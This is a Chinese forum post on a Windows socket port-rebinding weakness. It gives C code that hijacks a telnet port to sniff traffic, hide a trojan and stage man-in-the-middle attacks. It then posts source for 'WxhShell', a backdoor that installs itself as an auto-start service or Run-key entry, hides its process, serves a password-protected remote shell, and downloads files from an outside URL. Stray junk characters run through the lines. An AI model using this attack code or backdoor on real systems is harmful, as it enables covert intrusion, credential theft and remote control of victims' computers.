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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X,EYa>RSy_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 06 Esc^D  
H.8CwsfP  
  saddr.sin_family = AF_INET; |vDoqlW  
l[ ": tG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a-A+.7  
D2%G.z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bC4* w O  
V@n(v\F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 renmz,dJ,  
Ed&,[rC  
  这意味着什么?意味着可以进行如下的攻击: wJos'aTmE  
aQ&8fteFR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o*wC{VP_  
5?{ >9j5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v8[ek@  
?sf2h:\N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <aSLm=  
>c y.]uB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N 1f~K.e\  
95?5=T F  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qe6C|W~n  
E0)mI)RW.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <W=[ sWJ  
@t; O"q'|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _ 2gT1B  
9HNh*Gc=  
  #include ?V5Pt s  
  #include )' x/q  
  #include K!- &Zv  
  #include    Fe& n,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4&]To@>  
  int main() j^$3vj5E[  
  { d%_78nOh"  
  WORD wVersionRequested; d JQ }{,+6  
  DWORD ret; $;)noYo  
  WSADATA wsaData; fJn3"D'  
  BOOL val; $E`i qRB  
  SOCKADDR_IN saddr; CdzkMVH  
  SOCKADDR_IN scaddr; )0 n29  
  int err; ndKvJH4  
  SOCKET s; X$uz=)  
  SOCKET sc; {*<O"|v  
  int caddsize; >xU72l#5  
  HANDLE mt; ,p*ntj{  
  DWORD tid;   J]|6l/i  
  wVersionRequested = MAKEWORD( 2, 2 ); >Oi2gPA  
  err = WSAStartup( wVersionRequested, &wsaData ); cFI7}#,5  
  if ( err != 0 ) { qrM{b=  
  printf("error!WSAStartup failed!\n"); CFkW@\]  
  return -1; e"o6C\c  
  } 7>t$<J  
  saddr.sin_family = AF_INET; p;n3`aVh  
   a_ 9|xI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mV**9-"  
`u p-m=zA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s.p1L  
  saddr.sin_port = htons(23); u"#6_-0y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7}#*3*]  
  { 'XP>} m  
  printf("error!socket failed!\n"); Jv 6nlK`  
  return -1; =q"w2b&  
  } ')P2O\YS  
  val = TRUE; As6)_8w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 oRT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =qV4Sje|q  
  { aeuf, #  
  printf("error!setsockopt failed!\n"); ^(dGO)/  
  return -1; vB{; N  
  } LY\ddI*s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $ ,; ;u:-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @O}IrC!bf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #51 4a(6  
HsjELbH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S.Wh4kMUe  
  { }J+ ce  
  ret=GetLastError(); ibZt2@GB)I  
  printf("error!bind failed!\n"); G| QUujl  
  return -1; ?$30NK3G  
  } ^MWEfPt  
  listen(s,2); jy\W_CT  
  while(1) y+ 6`| h_  
  { q:`77  
  caddsize = sizeof(scaddr); L~*|,h  
  //接受连接请求 x38SSzG:L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KAj"p9hq+k  
  if(sc!=INVALID_SOCKET) y'J:?!S,Yu  
  { Cbgj@4H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pr62:  
  if(mt==NULL) {\vI9cni|"  
  { L?=#*4t  
  printf("Thread Creat Failed!\n"); ^3Z7dIUww  
  break; ;=5@h!@R  
  } H$NP1^5!  
  } ]k[ Q]:q  
  CloseHandle(mt); k%EWkM)?  
  } ntrY =Y  
  closesocket(s); yPf?"W  
  WSACleanup(); _-4n ~(  
  return 0; $l#v/(uFa  
  }   >:w?qEaE  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0OleO9Ua  
  { ~pHJ0g:t  
  SOCKET ss = (SOCKET)lpParam; [n!$D(|"!V  
  SOCKET sc; 8fJR{jD(s  
  unsigned char buf[4096]; m.1LxM$8  
  SOCKADDR_IN saddr; Nj0-`j0E  
  long num; -vyIOH,  
  DWORD val; <MPeh&_3#  
  DWORD ret; ,bB( 24LD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ??%)|nj.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Xtuhcdzu[  
  saddr.sin_family = AF_INET; d4jVdOq2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AC 9{*K[  
  saddr.sin_port = htons(23); >}ro[x`K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #=X)Jx~  
  { +\+Uz!YS  
  printf("error!socket failed!\n"); o `b`*Z  
  return -1; UJ7'JBT=k  
  } BhqhyX\D&y  
  val = 100; Qy4X#wgD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?wGiog<Q{  
  { 4a\n4KO X  
  ret = GetLastError(); U8 Z~Y}29  
  return -1; ^dFh g_GhF  
  } "V:   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x7vq?fP0n  
  { <\>+~p,  
  ret = GetLastError(); 9uuta4&uI  
  return -1; RxlszyE  
  } /uK)rG F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gh2#-~|cB  
  { Xy:Gj, @  
  printf("error!socket connect failed!\n"); X7e>Z)l  
  closesocket(sc); l<u{6o  
  closesocket(ss); *y)4D[ z-  
  return -1; VMaS;)0f@  
  } `2>XH:+7F  
  while(1) :lgHL3yl  
  { aL88E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7*+Km'=M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !A~d[</]m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 AnRlH  
  num = recv(ss,buf,4096,0); U$A/bEhw  
  if(num>0) I|H,)!Z  
  send(sc,buf,num,0); @XeEpDn]  
  else if(num==0) XFtOmY  
  break; E3y6c)<  
  num = recv(sc,buf,4096,0); NPS .6qY  
  if(num>0) g4Y) Bz  
  send(ss,buf,num,0); DG3[^B  
  else if(num==0) ldK>HxM%Z  
  break; o1e4.-xI  
  } * nLIXnm  
  closesocket(ss); =D{B}=D\IM  
  closesocket(sc); l(gJLjTH%  
  return 0 ; -<xyC8 $^$  
  } 4 ^4d9?c  
h iAxh Y  
Z*h43  
========================================================== ]+mjOks~  
ooY\t +  
下边附上一个代码,,WXhSHELL tzPC/?  
;xhOj<:  
========================================================== juH wHt  
9MT? .q  
#include "stdafx.h" f?Z|>3.2  
6eM6[  
#include <stdio.h> .x EJaID\N  
#include <string.h> c& 3#-DNI  
#include <windows.h> p+RAtRf  
#include <winsock2.h> N ,+(>?yE  
#include <winsvc.h> vmvFBzLR  
#include <urlmon.h> 3&$Nd  
\9'!"-i  
#pragma comment (lib, "Ws2_32.lib") W,DZ ;). %  
#pragma comment (lib, "urlmon.lib") !Qcir&]C>  
A])OPqP{  
#define MAX_USER   100 // 最大客户端连接数 mGO>""<:  
#define BUF_SOCK   200 // sock buffer 7(NXCAO81  
#define KEY_BUFF   255 // 输入 buffer V`[P4k+b   
*o!l/>4g  
#define REBOOT     0   // 重启 oKRFd_r+  
#define SHUTDOWN   1   // 关机 o*-9J2V=J  
Lbsr_*4t  
#define DEF_PORT   5000 // 监听端口 U_l7CCK +  
kQIfYtT  
#define REG_LEN     16   // 注册表键长度 , |l@j%  
#define SVC_LEN     80   // NT服务名长度 Xk?R mU6  
VRtO; F  
// 从dll定义API |0kXCq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1Fs-0)s8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J,(7.+`~#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b~*i91)\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9KyZEH;pY  
8aZ$5^z  
// wxhshell配置信息 R]Ek}1~?  
struct WSCFG { '#W_boN  
  int ws_port;         // 监听端口 {OCJ(^8i  
  char ws_passstr[REG_LEN]; // 口令 ]-:1se  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Tyf*:_F>  
  char ws_regname[REG_LEN]; // 注册表键名 T9?54r  
  char ws_svcname[REG_LEN]; // 服务名 @cIgxp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bK4&=#Zh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =m9i)Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iDw.i"b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M&f#wQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4-V)_U#8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `|EH[W&y  
B?3juyB`--  
}; ~RInN+N#  
5kn+ >{jh`  
// default Wxhshell configuration 6G}c1nWU  
struct WSCFG wscfg={DEF_PORT, CW-Ae  
    "xuhuanlingzhe", Y@%`ZPJ  
    1, ;& |qSa'  
    "Wxhshell", {cR=N~_EO  
    "Wxhshell", 4,~tl~FD  
            "WxhShell Service", Xa,\EEmQ  
    "Wrsky Windows CmdShell Service", 5g>wV  
    "Please Input Your Password: ", f-D>3qSS  
  1, |dk[cX>  
  "http://www.wrsky.com/wxhshell.exe", qfr Ni1\9-  
  "Wxhshell.exe" /2XW  
    }; :gf;}  
2h q>T&8  
// 消息定义模块 b\giJ1NJB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [l*;E f,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; opD-vDa h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q["t eo]DQ  
char *msg_ws_ext="\n\rExit."; Qx t@ V  
char *msg_ws_end="\n\rQuit."; v{y{sA  
char *msg_ws_boot="\n\rReboot..."; 8r^ ~0nm  
char *msg_ws_poff="\n\rShutdown..."; +EkW>$  
char *msg_ws_down="\n\rSave to "; /oL8;:m  
#epy%>  
char *msg_ws_err="\n\rErr!"; MhxDV d  
char *msg_ws_ok="\n\rOK!"; ,@.EpbB  
EB,4PEe:  
char ExeFile[MAX_PATH]; +pp9d-n  
int nUser = 0; m@\ZHbq  
HANDLE handles[MAX_USER]; H;S%Y`V  
int OsIsNt; &z@~B&O  
#SnvV  
SERVICE_STATUS       serviceStatus; H~o <AmE0!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wi$dZOcSJ  
A,#2^dR  
// 函数声明 :(p )1=I  
int Install(void); %|+E48  
int Uninstall(void); 5<+KR.W  
int DownloadFile(char *sURL, SOCKET wsh); /!T> b:0  
int Boot(int flag); O3qM1-k}S  
void HideProc(void); Nfn(Xn*J-  
int GetOsVer(void); [BDGR B7d"  
int Wxhshell(SOCKET wsl); sbS~N*{E  
void TalkWithClient(void *cs); Y7SacRO  
int CmdShell(SOCKET sock); 1@_T  m  
int StartFromService(void); z-,VnhLx  
int StartWxhshell(LPSTR lpCmdLine); e;ty!)]  
cdTsRS;E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YI@Fhr &NU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]KuMz p!  
^Z}Ob= .G  
// 数据结构和表定义 8)wt$b  
SERVICE_TABLE_ENTRY DispatchTable[] = o6L9UdT   
{ |d}MxS`^  
{wscfg.ws_svcname, NTServiceMain}, 0LL c 1t>}  
{NULL, NULL} AK-}V4C/A  
}; L?RF;jf  
SEd5)0X^  
// 自我安装 6`\ya@  
int Install(void) tju|UhP3  
{ @i%YNI5*  
  char svExeFile[MAX_PATH]; M+xdHBg  
  HKEY key; '2nqHX D  
  strcpy(svExeFile,ExeFile); _*6v|Ed?  
11UB4CA  
// 如果是win9x系统,修改注册表设为自启动 WsOi,oG@  
if(!OsIsNt) { +j[oEI`e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ..<3%fL3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;*cLG#&'M  
  RegCloseKey(key);  ux-CpI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cAuY4RV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~?Omy8#  
  RegCloseKey(key); q/gB<p9  
  return 0; N "Wqy  
    } uTvv(f  
  } J5yidymrpW  
} ,mFsM!|  
else { -1r2K  
'0t-]NAc  
// 如果是NT以上系统,安装为系统服务 z/]q)`G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,FQK;BU!lh  
if (schSCManager!=0) K_BPZ5w  
{ N{C;~'M2ce  
  SC_HANDLE schService = CreateService o>lms t%<  
  ( U 4,2br>  
  schSCManager, A74920X`W  
  wscfg.ws_svcname, D'[Uc6  
  wscfg.ws_svcdisp, XcfKx@l  
  SERVICE_ALL_ACCESS, SUtf[6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rOfK~g,X  
  SERVICE_AUTO_START, 5OP`c<  
  SERVICE_ERROR_NORMAL, "ZMkL)'7-  
  svExeFile, f [o%hCS  
  NULL, oFC)  
  NULL, y 'M#z_.z  
  NULL, >cR)?P/o  
  NULL, UlovXb  
  NULL `,>wC+}  
  ); @y|_d  
  if (schService!=0) 9.+/~$Ht  
  { ?.bnIwQe  
  CloseServiceHandle(schService); cma*Dc  
  CloseServiceHandle(schSCManager); #Gf+=G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ljJ>;g+  
  strcat(svExeFile,wscfg.ws_svcname); $#NQ <3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]B4}eBt5)@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x4K`]Fvhl  
  RegCloseKey(key); I$q>  
  return 0; yJ2B3i@T 4  
    } j|(Z#3J  
  } $1Nd_pD=  
  CloseServiceHandle(schSCManager); B |{I:[  
} cPF<D$B  
} 5\4g>5PD  
0 t.p1  
return 1; ` $5UHa2/  
} /!&R9!6 :  
.0y%5wz8j  
// 自我卸载 -=}3j&,\R  
int Uninstall(void) tpf7_YP_!-  
{ '/%zi,0  
  HKEY key; x5si70BKC/  
V6a``i]  
if(!OsIsNt) { I=Zx"'Um  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M:SO2Czz  
  RegDeleteValue(key,wscfg.ws_regname); peVq+(=.  
  RegCloseKey(key); @ GDX7TPV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HeN~c<NuB  
  RegDeleteValue(key,wscfg.ws_regname); %1U`@0  
  RegCloseKey(key); v> z@  
  return 0; 'ktHPn ,K  
  } 2 YxTMT  
} 9uB(Mx(-:`  
} *TdnB'Gd  
else { $.mQ7XDA9  
?/#}ZZK^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R4's7k  
if (schSCManager!=0) %:C ]7gQ  
{ :Ao!ls' =  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wsj=!Obc  
  if (schService!=0) 3K0tC=  
  { GUB`|is^  
  if(DeleteService(schService)!=0) { IO$z%r7  
  CloseServiceHandle(schService); # '|'r+  
  CloseServiceHandle(schSCManager); deX5yrvOie  
  return 0; QL7>;t;  
  } #VbVs l  
  CloseServiceHandle(schService); 0Fr1Ku!  
  } =([av7  
  CloseServiceHandle(schSCManager); ] gb=  
} MQ/ A]EeL  
} vP-M,4c  
L#h:*U{@40  
return 1; 72db[  
} m>&HuHf  
xycH~ ?  
// 从指定url下载文件 } /^C|iS7  
int DownloadFile(char *sURL, SOCKET wsh) vq'c@yw;  
{ `(4pu6uT  
  HRESULT hr; jdqj=Yc  
char seps[]= "/"; w=b(X q+:  
char *token; ,K9f_bv  
char *file; TW&DFKK`  
char myURL[MAX_PATH]; -0HkTY  
char myFILE[MAX_PATH]; KU&G;ni2  
(X[2TT3j!  
strcpy(myURL,sURL); D vkxI<Xa  
  token=strtok(myURL,seps); vlWw3>4  
  while(token!=NULL) P1zK2sL_  
  { dx_6X!=.J  
    file=token;  :S %lv  
  token=strtok(NULL,seps); }k$4/7ri  
  } v[k5.\No  
rjA@U<o  
GetCurrentDirectory(MAX_PATH,myFILE); B\`Aojw"E?  
strcat(myFILE, "\\"); **_&i!dtL  
strcat(myFILE, file); . 5HQ   
  send(wsh,myFILE,strlen(myFILE),0); <|6%9@  
send(wsh,"...",3,0); &Y>zT9]$K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YrI|gz)  
  if(hr==S_OK) ]5CNk+`'  
return 0; *e.*=$  
else Sq]pQ8  
return 1; D}mL7d1  
pNaiXu3  
} {kB `>VS  
UV7%4xM5v  
// 系统电源模块 h#YD~!aJ  
int Boot(int flag) =J'P.  
{ JyBp-ii  
  HANDLE hToken; - Xupq/[,  
  TOKEN_PRIVILEGES tkp; l)8&Ip  
8Cf|*C+_'  
  if(OsIsNt) { F}?<v8#z0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t={0(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f|3q^wjs  
    tkp.PrivilegeCount = 1; ~9o6 W",  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &K%aw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &]p}+{ (>  
if(flag==REBOOT) { !|{IVm/J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V-W'RunnW  
  return 0; `$;+g ,  
} x!7yU_ls`  
else { s&PM,BFf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3fS}:!sQ  
  return 0; a=]W zlz  
} Y>6.t"?Q^  
  } +a)E|(cN  
  else { f4t.f*#  
if(flag==REBOOT) { i2,U,>.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q s(Bnb;  
  return 0; Fe=8O ^\  
} D@54QJ<  
else { 3}Xc71|v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f[~1<;|-  
  return 0; y.a]r7  
} HOW7cV'X  
} F4I6P  
x"B' zP  
return 1; Ww9;UP'G  
} I<\ '%  
*> 3Qd7  
// win9x进程隐藏模块 jZ9[=?   
void HideProc(void) NP t(MFK \  
{ I."p  
y;`eDS'0.N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 02b6s&L  
  if ( hKernel != NULL ) p]|LV)R n  
  { E,"&-`/2v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pa/9F[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vs9?+3  
    FreeLibrary(hKernel); d,#.E@Po  
  } 8n)WW$  
n Y w\'c  
return; 6SEltm(  
} fj']?a!m  
w9&#~k]5  
// 获取操作系统版本 )iE"Tl  
int GetOsVer(void) <4X?EYaTq  
{ 'p}`i/  
  OSVERSIONINFO winfo; BWK IbG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A|RR]CFJ  
  GetVersionEx(&winfo); " ~Q*XN2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H'Qo\L4H  
  return 1; 00<{:  
  else  &"S/Lt  
  return 0; &a #GXf  
} AlX3Wv }  
O.\h'3C  
// 客户端句柄模块 *8A6Q9YT  
int Wxhshell(SOCKET wsl) 5w3Fqu>39?  
{ ,)#.a%EKA  
  SOCKET wsh; vOT*iax0  
  struct sockaddr_in client; ;sQbn|=e"  
  DWORD myID; 9D_wG\g  
oXal  
  while(nUser<MAX_USER) 2i:zz? 'p`  
{ wh6&>m#r  
  int nSize=sizeof(client); Wc4vCVw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P[i\e7mR  
  if(wsh==INVALID_SOCKET) return 1; qo;)X0 N  
`BT^a =5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fPQ|e"?  
if(handles[nUser]==0) lo:~aJ8  
  closesocket(wsh); f%Ke8'&  
else j$P I,`  
  nUser++; L|67f4  
  } ]Z@k|Nw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rg)h 5G  
OlGR<X  
  return 0; [m#NfA:h,  
} G11cNr>*  
YmDn+VIg  
// 关闭 socket JMsHK,(  
void CloseIt(SOCKET wsh) |5ONFd e"0  
{ fValSQc!U  
closesocket(wsh); otq,R6 ^  
nUser--; l>Av5g)  
ExitThread(0); el*9 Ih  
} ua#K>su r.  
*8-p7,D  
// 客户端请求句柄 qS]G&l6QF  
void TalkWithClient(void *cs) EAyukM2  
{ G8P+A1 f/>  
n~%}Z[5D  
  SOCKET wsh=(SOCKET)cs; :~-i&KNk  
  char pwd[SVC_LEN]; <!!nI%NC  
  char cmd[KEY_BUFF]; <7RfBR.9  
char chr[1]; 4*8&[b  
int i,j; p#<nK+6.8  
U.Hdbmix  
  while (nUser < MAX_USER) { ^pw7o6}  
lC{L6&T  
if(wscfg.ws_passstr) { ?`i|" y #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;Jo*|pju  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FV8\ +ep  
  //ZeroMemory(pwd,KEY_BUFF); )52#:27F  
      i=0; ,\>g  
  while(i<SVC_LEN) { BHclUwj  
O3xz|&xY&  
  // 设置超时 3_U\VGm  
  fd_set FdRead; D;C5,rN t  
  struct timeval TimeOut; j4vB`Gr]  
  FD_ZERO(&FdRead); Zh? V,39  
  FD_SET(wsh,&FdRead); !7Uu]m69n  
  TimeOut.tv_sec=8; Cz[5Ug'V  
  TimeOut.tv_usec=0; VO|u8Z"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Tw%W0q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "c EvFY  
]:!8 s\#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pLo;#e8'f  
  pwd=chr[0]; v?{vg?vI  
  if(chr[0]==0xd || chr[0]==0xa) { vVdxi9yk  
  pwd=0; fv/v|  
  break; VLx T"]f  
  } ZR2\ dH*  
  i++; .W-=x,`hY4  
    } 4V>vg2 d  
F]0Jwm{  
  // 如果是非法用户,关闭 socket l`qP~ k#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &gJW6 <  
} +>^[W~[2  
Ga?UHw~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E s:5yX!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wH!}qz /  
hsz$S:am  
while(1) { 4a1BGNI%SW  
Q>V?w gZ  
  ZeroMemory(cmd,KEY_BUFF); Ho>p ^p  
ko>M&/^  
      // 自动支持客户端 telnet标准   35}P0+  
  j=0; nHE+p\  
  while(j<KEY_BUFF) { &'NQ)Dn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /LSq%~UF  
  cmd[j]=chr[0]; <w;D$l}u  
  if(chr[0]==0xa || chr[0]==0xd) { Le_CIk 5YL  
  cmd[j]=0; {.cB>L  
  break; 83B\+]{hD  
  } LuLy6]6D;  
  j++; s~/57S  
    } 0NVG"-Q  
& 8zk3  
  // 下载文件 (tTLK0V-|3  
  if(strstr(cmd,"http://")) { YdPlN];[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vsjM3=  
  if(DownloadFile(cmd,wsh)) @f-0X1C."N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |%n|[LP'  
  else BzN/6VEw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |_!PD$i-  
  } YHJ'  
  else { 0H; "5  
`Uu^I   
    switch(cmd[0]) { So0`c,D  
  K~P76jAe$  
  // 帮助 kg zwlKK  
  case '?': { kVy"+ZebK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #@IQlqJfY7  
    break; K,Lr +  
  } l)|z2 H  
  // 安装 F>p%2II/  
  case 'i': { 7l[t9ON  
    if(Install()) Uy:@,DW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ZxW"5oq  
    else *4zoAslU1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rD_Ss.\^g  
    break; "X\q%%P=?  
    } R9S7_u  
  // 卸载 /M5=tW#e  
  case 'r': { y[TaM9<  
    if(Uninstall()) 3 t~X:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S Y`KoC1  
    else FA5k45w L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L2:oZ&:u`J  
    break; 9 ?EY.}~  
    } ch%Q'DR_I)  
  // 显示 wxhshell 所在路径 <!$j9)~x  
  case 'p': { #u!y`lek  
    char svExeFile[MAX_PATH]; ;Of?fe5:  
    strcpy(svExeFile,"\n\r"); :/n ?4K^  
      strcat(svExeFile,ExeFile); lsTe*Od  
        send(wsh,svExeFile,strlen(svExeFile),0); J$o[$G_Z  
    break; Ut0qr kqF  
    } FZ;Y vdX6  
  // 重启  ] I N -  
  case 'b': { oY| (M_;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T#ecLD#  
    if(Boot(REBOOT)) ?)i6:76(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1Ln)CS?9  
    else { I_{9eG1w?  
    closesocket(wsh); ;tZ}i4Ud  
    ExitThread(0); C{lB/F/|!  
    } f)!{y> Q  
    break; 0O@[on;Bd  
    } FuRn%)DA5  
  // 关机 ,58kjTM  
  case 'd': { ~cWLu5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B)LXxdkOn  
